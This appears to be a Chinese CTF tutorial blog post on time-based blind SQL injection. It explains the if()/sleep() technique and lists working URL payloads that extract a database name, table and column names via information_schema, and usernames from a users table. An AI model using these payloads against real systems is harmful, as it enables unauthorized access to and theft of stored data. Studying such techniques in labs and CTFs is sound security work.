CTF时间盲注(延时注入)

时间盲注又称延迟注入,个人理解,适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否报错。

因为延时注入页面不会有回显,又由于页面无法返回正确或错误的值,所以只能通过if加sleep函数解决问题,再根据页面反应时间判断具体情况

if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y
sleep(X)函数,延迟X秒后回显
if(1=1,1,sleep(1))即输出一
if(1=2,1,sleep(1))即延迟一秒后回显

 

盲注需要试错

?id=1′ and if(length(database())>(一个数字),sleep(2),0) –+//判断库名长度

 

?id=1′ and if(ascii(substr(database(),第一个字母,1))=115,sleep(2),0) –+
//此为判断第一个字母的ascii码是否为115

?id=1′ and if(ascii(substr(database(),第二个字母,1))=101,sleep(2),0) –+
此为判断第二个字母的ascii码是否为101

依次类推出所有库名

判断表名

?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit x,y),z,d))=e,sleep(1),0)–+

其中x代表第x+1个表,y表示第x+1往后y个单位的表,z表示第几个字母,d表示z往后d个单位的字母

通过不断改变z和E的值来判断出表名

判断列名

?id=1’ and If(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit x,y),z,d))=105,sleep(2),1)–+

x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位

爆数据

?id=1′ and If(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(2),1)–+

 

 

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值